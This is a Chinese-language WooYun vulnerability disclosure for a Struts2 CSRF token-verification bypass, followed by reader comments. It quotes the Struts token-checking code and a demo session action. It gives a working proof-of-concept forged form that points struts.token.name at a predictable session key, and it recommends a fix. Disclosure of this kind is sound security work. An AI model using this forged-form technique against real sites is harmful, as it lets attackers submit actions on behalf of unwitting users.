当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-06951

漏洞标题: Struts2 Token Verification Bypass

相关厂商:Apache基金会

漏洞作者: GaRY

提交时间:2012-05-11 16:19

修复时间:2012-06-25 16:20

公开时间:2012-06-25 16:20

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:6

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-06-25: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

利用Struts的token验证机制,可以通过一些奇淫巧计的手段绕过其验证,使得csrf可以被利用。
影响范围:Struts2 all version

详细说明:

此漏洞发现者:@Sogili
由于Struts提供的token验证是基于用户客户端提交的struts.token.name去session中查找对应的值的,如下代码:

public static boolean validToken() {
String tokenName = getTokenName();
if (tokenName == null) {
if (LOG.isDebugEnabled()) {
LOG.debug("no token name found -> Invalid token ");
}
return false;
}
String token = getToken(tokenName);
if (token == null) {
if (LOG.isDebugEnabled()) {
LOG.debug("no token found for token name "+tokenName+" -> Invalid token ");
}
return false;
}
Map session = ActionContext.getContext().getSession();
String sessionToken = (String) session.get(tokenName);
if (!token.equals(sessionToken)) {
if (LOG.isWarnEnabled()) {
LOG.warn(LocalizedTextUtil.findText(TokenHelper.class, "struts.internal.invalid.token", ActionContext.getContext().getLocale(), "Form token {0} does not match the session token {1}.", new Object[]{
token, sessionToken
}));
}
return false;
}
// remove the token so it won't be used again
session.remove(tokenName);
return true;
}


而tokenName又是来自于用户所提交的参数:

/**
* The name of the field which will hold the token name
*/
public static final String TOKEN_NAME_FIELD = "struts.token.name";
public static String getTokenName() {
Map params = ActionContext.getContext().getParameters();
if (!params.containsKey(TOKEN_NAME_FIELD)) {
if (LOG.isWarnEnabled()) {
LOG.warn("Could not find token name in params.");
}
return null;
}
String[] tokenNames = (String[]) params.get(TOKEN_NAME_FIELD);
String tokenName;
if ((tokenNames == null) || (tokenNames.length < 1)) {
if (LOG.isWarnEnabled()) {
LOG.warn("Got a null or empty token name.");
}
return null;
}
tokenName = tokenNames[0];
return tokenName;
}


因此,只要我们伪造表单,将struts.token.name这个hidden的input值设置为已知的session中某个特定key,即可绕过随机串的token值检查,合法合理的重复提交我们的表单。

漏洞证明:

我们模拟一个场景,一般情况下,一个站点总是会把一些用户信息存放在session中作为cache,以免每次都需要从数据库里取值。
这里我用以下代码做了个模拟,直接获取一个nick作为nickname,存放在session中。这些key和value都是可以预知的。

import java.util.Map; 
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
public class SessionAction extends ActionSupport {
private String nick;

public String execute() {
//这里操作一下session,加入我们可控的值
ActionContext actionContext = ActionContext.getContext();
Map session = actionContext.getSession();
if(nick != null){
session.put("nick", nick.trim());
}
return "success";
}
public String getNick() {
System.out.println("getNick");
return nick;
}
public void setNick(String nick) {
System.out.println("setNIck");
this.nick = nick;
}
}


然后我们访问一下此action,让我们的session中存在一个可以预知的nick值(通常情况下就是用户注册的昵称)。

http://localhost:8080/st/session.action?nick=thisIsFakeToken


然后,我们再伪造一个表单:

<form id="login" name="login" action="http://localhost:8080/st/login.action" method="post"> 
<table class="wwFormTable">
<input type="hidden" name="struts.token.name" value="nick" />
<input type="hidden" name="nick" value="thisIsFakeToken" />
<tr>
<td class="tdLabel"><label for="login_username" class="label">用户名:</label></td>
<td
><input type="text" name="username" value="" id="login_username"/></td>
</tr>
<tr>
<td class="tdLabel"><label for="login_password" class="label">密 码:</label></td>
<td
><input type="text" name="password" value="" id="login_password"/></td>
</tr>
<tr>
<td colspan="2"><div align="right"><input type="submit" id="login_0" value="登录"/>
</div></td>
</tr>
</table></form>


注意这里的struts.token.name修改为nick,而加了个name=nick的hidden值,为我们开始预知的session中nick所对应的内容:thisIsFakeToken。然后我们再来提交一下看看结果:
<img src="http://zone.wooyun.orghttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/image/201205/2012051019354347566.png" />
提交表单,直接绕过了csrf token验证。
这里提供我本地做测试的测试项目下载:http://pan.baidu.com/netdisk/singlepublic?fid=174815_3909579610

修复方案:

建议将token.name使用struts.xml进行配置,然后在server端按照配置中的key获取value。

版权声明:转载请注明来源 GaRY@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)


漏洞评价:

评论

  1. 2012-05-11 16:41 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    膜拜大牛!

  2. 2012-05-11 20:30 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    这个,谁来游说认领啊....还是@GaRY 直接发邮件了?

  3. 2012-06-25 15:47 | Eric ( 路人 | Rank:1 漏洞数:1 | 网络技术爱好者。)

    这个可以有。。。

  4. 2012-06-25 16:50 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    struts又中招

  5. 2012-11-27 13:59 | Stream ( 路人 | Rank:6 漏洞数:2 | 低头要有勇气,抬头要有底气!)

    NB